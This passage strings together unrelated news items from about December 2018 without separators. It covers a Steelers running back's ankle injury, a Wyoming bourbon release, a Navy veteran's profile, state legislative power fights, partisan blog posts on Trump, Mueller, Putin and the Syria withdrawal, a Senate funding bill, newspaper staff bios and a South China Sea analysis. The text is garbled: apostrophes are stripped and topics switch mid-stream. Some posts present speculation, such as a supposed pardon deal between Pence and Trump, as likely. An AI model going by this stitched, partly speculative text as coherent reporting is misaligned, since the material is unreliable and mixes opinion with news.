available to him yet. Conner suffered a high ankle sprain in the Steelers' Week 13 loss to the Los Angeles Chargers and has stayed out of practice since. The former Pitt star, who was named to the Pro Bowl on Tuesday night, said he wants to play. There is no preserving himself for the postseason, but hes not playing at the moment. You know these high ankle sprains, theyre deceiving. I can walk around fine, Conner said. "Im not limping around, but when Im out there on the field, cutting and stuff is just you know, Im not ready yet. Its the reason why theres 53 guys on the team and the way Jaylen and Ridley have been playing shows theyre capable. Conner considers himself day-to-day. He did walk out of the Steelers locker room at Heinz Field on Sunday without a limp. But he was listed as not practicing on Wednesday. And with the Steelers still needing a win and a Ravens loss or tie in order to clinch the AFC North, Conner said hes trying to play as soon as he can do so as his best self. Said Conner: "I want to be out there on the field. Were not saving nothing. We dont really have room to be saving, so none of that. Area holiday open houses on tap for this weekend A number of area holiday open houses will take place this weekend in the region, providing holiday cheer and family friendly festivities. "I was providing for my own self, by working at McDonald's, for a minimum wage, and to put a roof over my head. I had to figure out how to feed myself and put clothes on my own back." Pine Bluffs, WY (Dec. 17, 2018) Pine Bluffs Distilling, the maker of unique farm-to-distillery spirits, has decided to "muddy" things up a bit by mixing its Lodgepole Creek Bourbon with a locally produced Rye. Muddy Creek Bourbon is a bourbon with 23% Rye, which gives the resulting "Ryed bourbon" a balance of spice and sweetness. "Any spirit with Rye, you think it is gong to be super spicy," said Chad Brown, who owns the distillery with his aunt Kathy Brown and Gene Purdy. "This one has the spice of the rye, to go along with the sweetness of the char of the barrel that creates a super sweet spirit." Only 44 cases of the special blend will be available and it will be sold exclusively in Wyoming at select liquor stores and the distillery at 322 N. Beech St. in Pine Bluffs. Like other Pine Bluffs Distilling products, Muddy Creek Bourbon is made of locally produced grains. The Rye is distilled from grain grown by a farmer in eastern Laramie County. Lodgepole Creek Bourbon itself is a mixture of Wyoming corn, malted wheat and malted barley. The company's other products Rusted Ring White Whiskey, Cheyenne Summer Corn Whiskey and Rock Ranch Vodka -- are all produced with Wyoming-grown grains. For more information about Muddy Creek Bourbon and Pine Bluffs Distilling's other products, visit the company's website at PineBluffsDistilling.com or see it on Facebook. Born in Missouri in 1977, Seth E. Wilson became a Wyomingite at the age of five, when his family moved to Torrington, Wyoming. He has stayed since. Wilson, graduated from Torrington High School in 1995. This deep thinking guy headed off to the University of Wyoming to earn his bachelor's degree in Sociology, with a minor in philosophy. Even with these degrees his main focus was in pre-law. During Wilson's high school years, he was an Eagle Scout. This became a very important part of his motivation into the military. "My friends in high school and college were all shocked when I joined the United States Navy!" "Being an Eagle Scout had a positive impact on my life, and I felt joining the military was a good way to pay back all that was given to me."he said. When asked why he picked the Navy, he smiled and said like a true young adult..."because the Air Force was too close to home!" "I went in to the recruiter to enlist, but having a degree, she encouraged me to go to Officer Candidate School instead, from which I went through flight school and became a Naval Flight Officer. (I had hoped to be able to transfer to JAG eventually but never actually went that route.)" From there he went to being a Naval Flight Officer on the E2 Hawkeyes. During his eleven years of active duty, he also flew with the Royal Navy/Air Force for four years in England. Wilson met his wife, Sarah right before going to OCS, and our relationship was always long distance until we married in 2004 ("days before I went on a 6 month cruise." he said). As his family grew, he decided to exit active duty. His military career, however, was not over. Wilson is affiliated in the Naval Reserves in 2012. During his inactive time, he stayed at home, becoming "Mr. Mom". This was not a role taken lightly. Wilson became extremely active with his children's education. He took on the office of Treasurer for the Carpenter Elementary School Parents Group for three years. Wilson has three children: Xavier, 12 years of age, Xander, 9 years of age, and 6 week old Zinnia. Since moving to the Cheyenne/Carpenter area, Wilson has become a strong member in the community. He served the parents group, and also joined the Carpenter Volunteer Fire Department and also has become an EMT for the Burns Ambulance. After 6 years as the Officer in Charge of the Operational Support Unit at NOSC Cheyenne, Wilson just changed jobs to work with SPAWAR. He has been to the Persian Gulf for 6 months, spent a week off the coast of Ecuador doing counter-Narcotics, and conducted counter-piracy activities in the Mediterranean. Wilson also spent three months at the Naval War College. Believing strongly in what took him to the military, Wilson is active with his a son in the Cub Scouts, one in the Boy Scouts and has hopes they go on to be Eagle Scouts as well. Penny Merryfield Seth Wilson at Veterans Day Chili Feed, at American Legion Post 60. Endorsing the military to a young person thinking of joining the military depends on the person. "My first concern would be to ascertain their motives in considering it. If it's just to get away from the parents and seek adventure, or to blow stuff up, I'd suggest looking elsewhere. I know quite a few people who have regretted their choice to join the military, and it would be worthwhile to ask as many veterans as possible for their perspective before signing that contract. On the other hand, it can be a good career choice, providing financial stability and a decent way to pay for additional schooling either for you or for your dependents. It also will provide good on the job training that will translate to many other jobs in the civilian world, should you later choose. The benefits are phenomenal. It will most likely include quite a bit of travel, and I think that travel is important for anybody's self development. If you have a degree, or a way to get a degree before joining, it might be worthwhile to consider the officer route. Much better pay, but also greater responsibility." "Bottom line, though, I think someone considering the military needs to have a strong self-justification for it - not just because it seems cool, not just because it's expected of you, and probably not just because you want the government to pay for your education. If you want to serve other people, if you have a strong desire to protect your family and friends, if you feel a sense of duty to pay forward the freedoms you've enjoyed your whole life, and if you're willing to put a higher purpose in front of your own immediate desires, the military very well might be right for you." Wilson stated. 1.6k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard By Joseph Ax (Reuters) North Carolinas Republican-dominated legislature enacted a voter identification requirement on Wednesday, overriding Democratic Governor Roy Coopers veto just weeks before they lose the power to do so. The move was among a series of last-minute steps taken by Republican lawmakers in several states following Democratic wins in Novembers elections. Democrats have castigated the efforts as power grabs, while Republicans have said they are simply doing their jobs. In Michigan, a Republican-backed bill that would curb the authority of the incoming Democratic secretary of state appeared dead on Wednesday. But other legislation that restricts Democrats powers remains on the table, weeks after Democrats won the governor, attorney general and secretary of states offices to end eight years of complete Republican control of the states government. In neighboring Wisconsin, where Democrats also captured the governorship and other statewide offices to break Republicans eight-year hold on the capitol, outgoing Republican Governor Scott Walker last week signed several bills limiting the powers of incoming Democrats. Democratic Governor-elect Tony Evers has said he will consider filing a legal challenge. The moves are reminiscent of North Carolina in 2016, when Republican legislators similarly targeted incoming Democratic Governor Roy Cooper. Many of those laws have been challenged in court. Last week in North Carolina, Cooper said he vetoed the states voter ID law because it would suppress minority votes while addressing a problem, in-person voting fraud, that doesnt exist. But Republicans defended the law as a common-sense measure to secure elections. After the veto override on Wednesday, a nonprofit group, the Southern Coalition for Social Justice, immediately filed a lawsuit challenging the law. The controversy has come amid allegations of absentee ballot fraud in a still-unresolved congressional race. The Michigan state Senate, led by Republicans, passed a bill earlier this month that would transfer campaign finance oversight from the secretary of state to a new bipartisan commission. But the Republican-controlled House of Representatives declined to take up the bill on Wednesday, likely killing it. This proposal would have effectively ended the enforcement of Michigans campaign finance law, Democratic Secretary of State-elect Jocelyn Benson said on Twitter. Lawmakers are still considering other bills, including one allowing lawmakers to sidestep the attorney general and another making it harder for citizens to put voter initiatives on the ballot. Democrats, too, have been accused of using their power in partisan ways. In New Jersey, the Democratic-controlled legislature proposed amending the state constitution to effectively allow gerrymandering, the process by which legislative districts are drawn to favor one party over another. Lawmakers abandoned the proposal last week after criticism from Republicans, good government groups and Democratic Governor Phil Murphy. (Reporting by Joseph Ax in New York; Editing by Scott Malone and James Dalgleish) 2k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard It is being reported that Trump has decided to keep Mike Pence on the ticket after Pence promised to defend Trump. CNBC reported: President Donald Trump has been telling his closest political advisors in recent weeks that he wants Vice President Mike Pence to be with him on the ticket in 2020, CNBC has learned. The development comes amid media speculation that Trump could ditch Pence in favor of another running mate. Trump has told confidants that he wants Pence to be his running mate in the next election, and the vice president has privately told him hes ready to defend the administration against a likely onslaught of Democratic presidential candidates running to replace them, according to three people with direct knowledge of the matter. The whole exchange sounds like there is something missing. Any VP candidate would defend their running mate. Judging from Trumps proven behavior involving loyalty pledges and requests, its likely that Trump is keeping Pence on the ticket for another reason, and that reason inspires the question did Mike Pence promise Trump a pardon? It would be consistent with past behavior and in character for Donald Trump to cut a deal with Pence that would guarantee that if he goes down, Pence will keep him out of federal prison. There are some details missing in this story. Did Trump really try to dump Pence? Did Pence have to negotiate with Trump to keep his place on the ticket? The personal relationship between Trump and Pence doesnt exist. The two arent close like Obama and Biden are. Trump treats Pence like an afterthought, but Mike Pence really wants to be president, so it is important to find out what Trump had to promise Pence, who has his own Russia problems, in order to stay on the ticket. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook. 628 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Robert Mueller just dropped his latest clue yet that Donald Trump Jr. could be his next target. According to The Washington Post, the special counsel has asked the House Intelligence Committee for a transcript of former Trump adviser Roger Stones testimony. The report notes, Securing an official transcript from the committee would be a necessary step before pursuing an indictment that Stone allegedly lied to lawmakers, legal experts said. While this is a sign that Mueller could be on the verge of indicting Stone, it could also spell doom for Donald Trump Jr. as the special counsel is looking into whether the presidents aides and family members lied to Congress during their testimony. During a discussion on MSNBC, David Corn, Mother Jones Washington bureau chief, pointed out why the presidents eldest son should be concerned. Video: The news that Robert Mueller is requesting a transcript of Roger Stones testimony to House intelligence committee could signal bad things to come for Donald Trump Jr. #ctl #p2 pic.twitter.com/o8FlVZr9MH PoliticusUSA (@politicususa) December 20, 2018 While Roger Stone is clearly caught in a legal storm, Corn said, Its also a bad sign for Donald Trump Jr. if Mueller is going to start looking at testimony and whether there was any false statements made. Don Jr. should be worried about being the next Mueller indictment The last several weeks of news surrounding the Mueller investigation show that the special counsel wont put up with key witnesses, like Michael Cohen and Michael Flynn, lying to investigators. As Rachel Maddow said last month after Cohen pleaded guilty, If you didnt take the prospect of felony indictments for lying to Congress if you didnt take those prospects seriously before, now that somebody just plead guilty to a felony for lying to Congress, you take that more seriously after today. Its no surprise, then, that Donald Trump Jr. is reportedly terrified that he will soon be indicted by Robert Mueller. Follow Sean Colarossi on Facebook. 18.3k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Counterterrorism expert Malcolm Nance said on Wednesday that its time to start calling Donald Trump what he is: a traitor. During an interview with MSNBCs Chris Matthews, Nance slammed Trump for secretly signing a letter of intent for the Trump Tower Moscow project while running for president of the United States. The counterterrorism expert said the document is a major piece of evidence that explains why Trump has had nothing but kind words for Vladimir Putin. A presumptive candidate who wanted to be president of the United States had been cutting secret deals with an American adversary for money and then hid that away from the nation and he was going to profit from it, Nance said. If I was a judge, Id start using the T-word, he added. Video: Malcolm Nance shreds Trump for signing a letter of intent with Russia while running for president of the United States. #ctl #p2 pic.twitter.com/m4rMjeB5G2 PoliticusUSA (@politicususa) December 20, 2018 Nance said: That document is going to be explosive. That is going to be the piece of paper that is going to be like the you know, the signed contract in Major Andres boot when Benedict Arnold tried to sell West Point. That tells us that the that a presumptive candidate who wanted to be president of the United States had been cutting secret deals with an American adversary for money and then hid that away from the nation and he was going to profit from it and it explains all of his behaviors towards Vladimir Putin. Vladimir Putin, on the other hand, is a spy master who was going to manipulate this man to the Nth degree. His ego, his personality with his money and then manipulate him when he became president of the United States. That right there, you know, if I was a judge, Id start using the t-word. Donald Trump has repeatedly sold out the country to Russia Since Donald Trump entered the political realm, he has shown a disturbing allegiance to Russia and Vladimir Putin. Whether it was his encouragement of Russian hacking during the campaign or his surrender to Putin in Helsinki after he took office, this is a man who has never put America first, despite his campaign slogans. As Malcolm Nance noted on Wednesday, the newly revealed signed letter of intent that Trump was secretly negotiating a major business deal with Russia during the presidential campaign sheds light on why the president has been bowing down to Putin. The more we learn about Trumps business dealings, the more it becomes obvious that he is beholden to a foreign adversary. Follow Sean Colarossi on Facebook. 5.3k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard As Donald Trumps presidency continues to go up in flames amid increasing legal trouble, Barack Obama is giving the country a much-needed dose of holiday cheer. The 44th president made a surprise visit to Childrens National Health System in Washington on Wednesday, donning a Santa cap and a big bag of presents. Video: Thank you @BarackObama for making our patients day so much brighter. Your surprise warmed our hallways and put smiles on everyones faces! Our patients loved your companyand your gifts! https://t.co/bswxSrA4sQ #HolidaysAtChildrens #ObamaAndKids pic.twitter.com/qii53UbSRS Childrens National (@childrenshealth) December 19, 2018 At a time that is obviously tough for folks, and the dad of two girls, I can only imagine in that situation you know to have nurses, staff and doctors and people who are caring for them, and looking after them, and listening to them and just there for them and holding their hands, Obama said during his visit. What a great reminder of what the holiday spirit is supposed to be all about, the 44th president added. Obama gives back, while Trump lashes out Meanwhile, as the former president gives back during the holiday season, Donald Trump continues to defend himself from a growing number of legal challenges. At the moment, there are at least 17 investigations zeroing in on him and his associates. In the latest development, the Trump Foundation was ordered to be shut down after it was caught engaging in illegal conduct no surprise since the president and his family repeatedly used the organization as their personal slush fund. The Trump Foundation has done great work and given away lots of money, both mine and others, to great charities over the years with me taking NO fees, rent, salaries etc. Now, as usual, I am getting slammed by Cuomo and the Dems in a long running civil lawsuit started by.. Donald J. Trump (@realDonaldTrump) December 19, 2018 sleazebag AG Eric Schneiderman, who has since resigned over horrific women abuse, when I wanted to close the Foundation so as not to be in conflict with politics. Shady Eric was head of New Yorkers for Clinton, and refused to even look at the corrupt Clinton Foundation Donald J. Trump (@realDonaldTrump) December 19, 2018 .In any event, it goes on and on & the new AG, who is now being replaced by yet another AG (who openly campaigned on a GET TRUMP agenda), does little else but rant, rave & politic against me. Will never be treated fairly by these people a total double standard of justice. Donald J. Trump (@realDonaldTrump) December 19, 2018 This only further deepens the contrast between Donald Trump and his predecessor. It couldnt be any clearer. While Barack Obama behaves as a president and a compassionate human being should behave during the holiday season, the current president continues to be exposed as a man who cares about one thing: himself. Follow Sean Colarossi on Facebook. 408 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard The White House is growing concerned that Trump is going to cave to right-wing political pressure and shut down the federal government over Christmas. Jake Sherman of Politico tweeted: WARNING Ive spoken to multiple senior White House aides this morning who have no idea what the plan is for the stopgap spending bill. Concerns he might veto are rampant. Jake Sherman (@JakeSherman) December 20, 2018 The reason why Trump may veto was summed up in this roundup of conservative media reaction via First Read: And some prominent conservative voices arent happy about it. At all. It is now crystal clear that one of two things is true: Either Trump never intended to build the wall and was scamming voters all along, or he has no idea how to get it done and zero interest in finding out, Ann Coulter writes. Here was Rush Limbaugh yesterday: I mean, Washington came together to pass [criminal justice reform] in like 10 minutes. Meanwhile, $5 billion, a measly $5 billion when compared to the size of the federal budget for border security is an impossibility. Somebody needs to explain to me how this happened. The headline on Drudge from yesterday? WALL STALL: TRUMP IN RETREAT. Trumps Tiny Right Wing Base Makes Him A Slave To Conservative Media Trumps base is the smallest of any incumbent president in modern history. His core of support is tiny and mirrors those hardcore far-right Republicans who watch Fox News, read conservative websites and listen to Rush Limbaugh on the radio. If Trump loses anything from that base, he is eroding the last bit of solid political support that he has in the country. Trump is also a Fox News junkie who has reversed himself to appease the network at any sign of criticism in the past, so people inside the White House should be worried. Trump is making decisions on withdrawing US troops from Syria on his own, so there is no reason why he wouldnt shut down the government on his own. Trump could shut down the government and still go on vacation There is this idea floating around that if Trump shuts down the government, he cant go to Florida for Christmas, but this isnt true. Trump could see leaving for Christmas as a way to increase pressure on Congress to fund his wall. Plus, Air Force One still flies during a government shut down and there would nothing stopping Trump from signing the bill to fund the government in Florida at his private club. Trump doesnt have to stay in D.C., and if he shuts down the government, he probably wont. Nothing is a done deal until Trump signs it, and if the right keeps mocking his manhood, he might shut the government down. For more discussion about this story join our Rachel Maddow and MSNBC group. Follow Jason Easley on Facebook. In a late-night speech on the Senate floor on Wednesday, Sen. Lindsey Graham strongly criticized President Donald Trumps decision to pull troops from Syria, calling the decision disastrous and a stain on the honor of the U.S.. Graham also said the presidents claim that the Islamic State had been defeated was fake news. The South Carolina senator said hed just gotten back from a trip to the Middle East and knew for a fact that Trumps claim was inaccurate. Trump made the claim on Wednesday when he posted a video on Twitter with the words: After historic victories against ISIS, its time to bring our great young people home! After historic victories against ISIS, its time to bring our great young people home! pic.twitter.com/xoNjFzQFTp Donald J. Trump (@realDonaldTrump) December 19, 2018 Although Graham has been an ally of Trump, lately he has been critical of some of the presidents decisions. He was not happy with how Trump handled Saudi Arabia and the murder of Washington Post columnist Jamal Khashoggi. He was part of a bipartisan group of senators who warned the president that it would lead to disaster and a new wave of Islamic radicalism. The withdrawal of the more than 2,000 troops is based on Trumps decision that the mission against ISIS is complete, U.S. officials said Wednesday. Trump tweeted on Wednesday: Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA Donald J. Trump (@realDonaldTrump) December 20, 2018 Defense Secretary Jim Mattis and other U.S. military leaders in recent weeks have said we need U.S. troops to remain in Syria to help stabilize it so peace negotiations can proceed. In his speech, Graham said he was introducing a resolution that would condemn Trumps decision. He also asked the president to rescind his decision, explaining that a true leader is open to changing his mind when he is wrong. Graham said hed spoken with military leaders in the Trump administration, including Mattis, and discovered that the presidents decision was his alone. Mr. President, I too want our troops to come home, Graham said. But I dont want to tell the American people that were secure when I dont believe we are. In other words, Trump did not have the support of the Senate or of the Pentagon when he unilaterally decided to pull the U.S. out of Syria. This did not go over well with many people in Washington. Graham said none of the officials hes spoken with thought pulling troops out of Syria was a good idea. He also said the president should fire his advisers because they were giving him poor advice. On the plus side for Donald Trump, at least, on Thursday morning Russian President Vladimir Putin said he was very happy with the decision for the U.S. to withdraw from Syria. He also said the presence of U.S. troops there was illegitimate. 514 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard The end may be near for Roger Stone, a longtime Donald Trump associate and presidential campaign adviser. According to the Washington Post, Special Counsel Robert Mueller has asked the House Intelligence Committee to give him the transcript of its 2017 interview with Stone, which is a sign that prosecutors could be moving to charge him with a crime. In other words, Muellers obtaining the Stone interview transcript may be the final step in the special counsels investigation. The next step, once the investigation has concluded, will be to charge Stone with a crime by issuing an indictment. Mueller asked for the Stone transcript to be delivered immediately, the Post said. This is the first time the House Intelligence Committee has been asked to turn over testimony to Muellers team. The Post said that a committee meeting will take place Thursday morning to vote on Muellers request. A meeting notice was published, saying the subject of the meeting is the Transmission of Certain Executive Session Materials to the Executive Branch. It is assumed that the meeting will be to discuss and vote on whether to honor the request from the special counsel. The details of what Mueller wants from Stones September 2017 closed-door House testimony was not disclosed. Adam Schiff of California, the panels top Democrat, said last month that Stones testimony should be provided to Mueller for consideration of whether perjury charges are warranted. Schiff made his comments shortly after President Trumps former lawyer, Michael Cohen, pleaded guilty to lying to Congress. Many people then asked if the special counsel would pursue the same kind of charges against others who may have given false testimony to Congress concerning Muellers Russia probe. It is possible that this is the purpose of Mueller obtaining the Stone interview transcript. Obtaining the official transcript from the committee would be a necessary step before Mueller could pursue an indictment against Stone for lying. Mueller could use a perjury charge to seek cooperation from Stone, as he has done with other Trump advisers. Stone has been a focus of Mueller as he investigates if the Trump campaign had advance knowledge of WikiLeakss release of Democratic emails allegedly hacked by Russian operatives. Stone was in contact with the Trump campaign numerous times during 2016, and may have been in contact with WikiLeaks also. The Post said, Stone has given conflicting accounts about what prompted him to accurately predict during the 2016 race that WikiLeaks was going to unleash material that would hurt Democratic presidential nominee Hillary Clinton. Roger Stone, like his friend Donald Trump, has been defiant in the face of public criticism and the threat of criminal charges. Once an actual indictment is issued by Mueller, however, and Stone is actually facing real criminal charges, he may change his tune. We wont know for sure about that until it happens, and it may happen very soon. 670 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Russian President Vladimir Putin on Thursday praised Donald Trumps decision to withdraw U.S. troops from Syria. Putin also said that the American presence in Syria is illegitimate. During his annual news conference with domestic and foreign media, Putin was asked by a U.S. reporter what he thought of the decision by Trump. Donald is right and I agree with him, Putin said. On Wednesday, Trump tweeted: We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency. After historic victories against ISIS, its time to bring our great young people home! After historic victories against ISIS, its time to bring our great young people home! pic.twitter.com/xoNjFzQFTp Donald J. Trump (@realDonaldTrump) December 19, 2018 Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there (sic) work. Time to come home & rebuild. Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. Getting out of Syria was no surprise. Ive been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer. Russia, Iran, Syria & others are the local enemy of ISIS. We were doing there work. Time to come home & rebuild. #MAGA Donald J. Trump (@realDonaldTrump) December 20, 2018 In his remarks Putin repeated Moscows view that the U.S. presence in Syria is illegitimate because it had not been agreed to by the United Nations. It also was not approved by Syrian President Bashar Assad. If the U.S. decided to withdraw its contingent, it has done the right thing, Putin said. The U.S. troop withdrawal will consolidate Russias influence in Syria, since Putin has been a supporter of the current regime. Putin also added a skeptical comment as he pointed out that U.S. troops have been in Afghanistan for 17 years and they always say theyre withdrawing. We see no signs of withdrawal, but we admit that this is possible, especially since we are moving along the path of a political settlement, Putin said. Trumps decision was met with shock at home as many others in the media, government and defense communities disagreed with him. But that apparently is not important to Trump so long as he keeps Putin happy. 267 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Vladimir Putin has warned that there is an increasing threat of a nuclear war that could destroy all of human civilization as well as planet Earth itself. The Russian President held his 14th annual end-of-the-year press conference on Thursday morning, touching upon a wide array of issues, including relations with the US and Ukraine, anti-Russia sanctions, and arms control. He was also questioned about the Russias economy and Donald Trumps commitment to withdraw troops from Syria. But it is his comments on nuclear war that will make most people feel uncomfortable. He said: If, God forbid, something like that nuclear war were to happen, it would lead to the end of all civilization and maybe also the planet. These are serious questions and its a real shame that theres a tendency to underestimate them. It is a legitimate issue, and it is even growing. Putin also said that Donald Trumps plan to withdraw from the U.S.-Russia Intermediate-range Nuclear Forces Treaty (INF) has made the entire world less safe. We are essentially witnessing the breakdown of the international order of arms control, the Russian president said. He also expressed his belief that the consequences of the decision by the United States to withdraw from the INF Treaty were unpredictable and could lead to a global catastrophe. Earlier this month United States Secretary of State Mike Pompeo announced that the U.S. government would suspend its obligations under the 1987 INF Treaty within 60 days if Russia didnt return to what it called full compliance. Putin and other Russian government officials have said repeatedly that the U.S. accusations that Russia has violated the INF Treaty were baseless. Asked to address Donald Trumps announcement that all 2,000 US troops would leave Syria, Putin said that he was not sure of the terms of the withdrawal. He expressed skepticism, saying that the US has maintained its presence in Afghanistan for over 17 years despite saying many times that it was pulling its troops out of the country. However, he also praised Trumps move to withdraw from Syria, saying the U.S. presence there is illegitimate. When asked by a U.S. reporter what he thought of the decision by Trump, Putin responded: Donald is right and I agree with him. 375 SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard The U.S. Senate approved a temporary funding bill on Wednesday, preventing a partial government shutdown that was expected to begin on Saturday. The measure provides funding only until February 8. The move was seen as a defeat for President Trump who had insisted the bill should include funding for a border wall with Mexico The appropriations bill will keep the Department of Homeland Security and several other key federal agencies operating, at least for a while. The legislation was the final item on the Senates to-do list for 2018, and they have finished their work for the year. It still must be approved by the House, which had been on leave until Wednesday night. After House approval it must then be signed by President Trump. Republican senators say that while they believe Trump is unhappy with Congress passing a short-term fix, they said he will probably sign it because they were able to keep off the bill other controversial items that he did not want. Senate Majority Leader Mitch McConnell issued a statement saying the measure will continue government funding into February so that we can continue this vital border security debate after the new Congress has convened in January. I think the message is dont add anything else to it, said Sen. John Cornyn of Texas, the No. 2 Senate Republican. Hes not happy about that a continuing resolution but he understands the reality. The stopgap funding bill appropriates money for about one-fourth of the federal government. It has created a new long-term funding deadline of February 8. The deadline was tomorrow, so by passing the bill Congress will avoid a shutdown fight during the Christmas holidays. A vote on the bill was delayed Wednesday over discussions about adding other provisions, such as a land and water measure, and benefits for miners. Senators wanted a long term deal, but were not able to make that happen because of disputes about border security and border wall funding. House Democratic Leader Nancy Pelosi told reporters that Democrats couldnt accept the border security deal offered by Republicans. Senator Schumer Leader Schumer and I have said that we cannot accept the offer they made of a billion dollar slush fund for the President to implement his very wrong immigration policies, so that wont happen, Pelosi said. Because Republicans could not pass the long-term funding bill on their own, the Democratic rejection of their offer made it inevitable that they would be forced to settle for a short-term solution. Conservatives blasted both GOP leaders and Trump over the short-term spending bill which contains no wall funding. Rep. Jim Jordan (R-Ohio) was especially angry, saying: Let me get this straight our chances of getting the Wall will be better in February when Nancy Pelosi is Speaker than now when we have the majority? White House press secretary Sarah Huckabee Sanders explained the administration position, saying that at the end of the day, we dont want to shut down the government. Get the SC business stories that matter. Our newsletter catches you up with all the business stories that are shaping Charleston and South Carolina every Monday and Thursday at noon. Get ahead with us - it's free. Senior news clerk and staff writer Senior news clerk and staff writer Liz Foster joined The Post and Courier team in 2012 and, among other things, compiles events and writes the My Charleston Weekend column for Charleston Scene. Syndicated and guest columns represent the personal views of the writers, not necessarily those of the editorial staff. The editorial department operates entirely independently of the news department and is not involved in newsroom operations. Political Reporter Caitlin Byrd is a political reporter at The Post and Courier and author of the Palmetto Politics newsletter. Before moving to Charleston in 2016, her byline appeared in the Asheville Citizen-Times. To date, Byrd has won 17 awards for her work. Jamie Lovegrove is a political reporter covering the South Carolina Statehouse, congressional delegation and campaigns. He previously covered Texas politics in Washington for The Dallas Morning News and in Austin for the Texas Tribune. U.S. Rep. Ralph Norman, R-Rock Hill, on the phone in his office on Capitol Hill. Norman is one of several House Republicans threatening to shutdown the government if Congress does not pass funding for President Donald Trump's proposed southern border wall. File/Jamie Lovegrove/Staff (CNN) The Chinese warship Lanzhou approached from behind, swiftly turning to starboard as it tried to cut across the USS Decatur's bow. Under international naval law, the U.S. destroyer had right of way. But the Lanzhou forced the U.S. captain to essentially throw his 500-foot-long, 8,500-ton warship into reverse, avoiding a collision by seconds. The two vessels came within 45 yards (41 meters) of each other in the September incident off the South China Sea's contested Spratly Islands, with the U.S. Navy saying at the time that the Chinese warship "conducted a series of increasingly aggressive maneuvers accompanied by warnings for the Decatur to depart the area." It was one of 18 encounters since 2016 between the U.S. Navy and China's military that Washington has deemed "unsafe or unprofessional," and just one of many flashpoints in the South China Sea last year. The situation isn't likely to improve in 2019, either. Tensions show little sign of easing, with some analysts predicting they could actually get much worse. Not backing down China has claimed almost the entire 1.3 million square mile South China Sea as its sovereign territory, and has aggressively asserted its stake in recent years in the face of conflicting claims from several Southeast Asian nations. "China is not going to ease up on its attempts to control the South China Sea in its entirety," said Malcom Davis, a senior analyst in defense strategy and capability at the Australian Strategic Policy Institute in Canberra. "Basically, what the Chinese want to do is make the South China Sea their lake." But the U.S. isn't about to leave China unchallenged in one of the most valuable waterways in the world. Washington says China's construction and fortification of man-made islands in the South China Sea puts trillions of dollars of trade, travel and communications under the thumb of Beijing. "The Trump administration is not going to back off in the face of Chinese pressure," Davis said. Doing so would "severely undermine (U.S.) credibility and encourage the Chinese to be more assertive and bold." He predicts U.S. Navy warships will continue "freedom of navigation" operations near the contested islands something they did about every eight weeks in 2018, according to analysts. U.S. allies including Japan, Australia, the United Kingdom, Canada and France have also sent or plan to send warships to transit the South China Sea, though not as close to China-claimed islands as the U.S. Navy has come. With each of those operations comes the danger of miscalculation, as evidenced by the Lanzhou-Decatur near-miss in late September. Militarized islands While critics of U.S. and Chinese actions in the South China Sea say they could quickly spiral out of the control, some pro-Beijing commentators have called for its navy to go even further. "If a U.S. warship illegally enters into Chinese territorial waters again, two Chinese warships should be sent, one to stop it and the other to bump against and sink it," Dai Xu, president of China's Institute of Marine Safety and Cooperation, was quoted as saying in an article on the Chinese military's English-language website. Analysts cautioned that Dai doesn't officially speak for the People's Liberation Army. But former U.S. Navy captain Carl Schuster said the presence of Dai's comments on the PLA website showed some level of support within the military. "The goal is to see if (the U.S.) will back down to avoid risking such an incident," said Schuster, a former director of operations at the U.S. Pacific Command's Joint Intelligence Center. China could also push the envelope in other ways in 2019, Davis, the Australia-based analyst, said including introducing new weaponry onto man-made islands at Mischief Reef or Fiery Cross Reef in the Spratlys. In May, China landed long-range H-6K bombers on Woody Island, its largest base in the Paracel chain. It was the first time the nuclear-capable jets had landed in the South China Sea. While the move attracted a great deal of attention, the PLA has long had a presence in the Paracels and the chain sits in the northern area of the South China Sea. CNN Interactive: The Battle for the South China Sea But if the H-K6 were to appear on similar runways on Mischief or Fiery Cross in the Spratlys to the south, Australia or the U.S. territory of Guam could come within their range. China could also base extra and more advanced surface-to-air or anti-ship missiles on the Spratlys, effectively allowing it to strike anything moving in or over the South China Sea. Such a move could have huge ramifications, as one-third of global shipping flows through the waterway and some of the world's busiest air corridors pass over it. Rising tensions As well as further militarizing the islands it controls, Davis said Beijing may go as far as to declare the waters between them as sovereign Chinese territory not just the 12-mile line off the islands' coasts as it does now. "That would be a step toward claiming the whole South China Sea," he added. But experts warned that Beijing was playing a risky game, and could provoke an unwelcome response from Washington. "Brinksmanship tactics could offer Beijing multiple strategic benefits if successfully carried out, but the risks are enormous and the outcome could be disastrous," said Timothy Heath, an Asia expert with the Rand Corporation. Hostilities could also jeopardize China's relations with the Association of Southeast Asian Nations (ASEAN), and the framework of its agreement with the grouping on managing maritime disputes. In August, China and ASEAN nations Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, the Philippines, Singapore, Thailand and Vietnam reached a draft framework of a code of conduct for the South China Sea, although substantial differences remain to be bridged before a final deal. Five ASEAN nations Brunei, Indonesia, Malaysia, the Philippines and Vietnam have competing claims to parts of the Spratly and Paracel chains. Any Chinese disputes with those countries could spark a wider conflict, said Isaac Kardon, of the China Maritime Studies Institute at the U.S. Naval 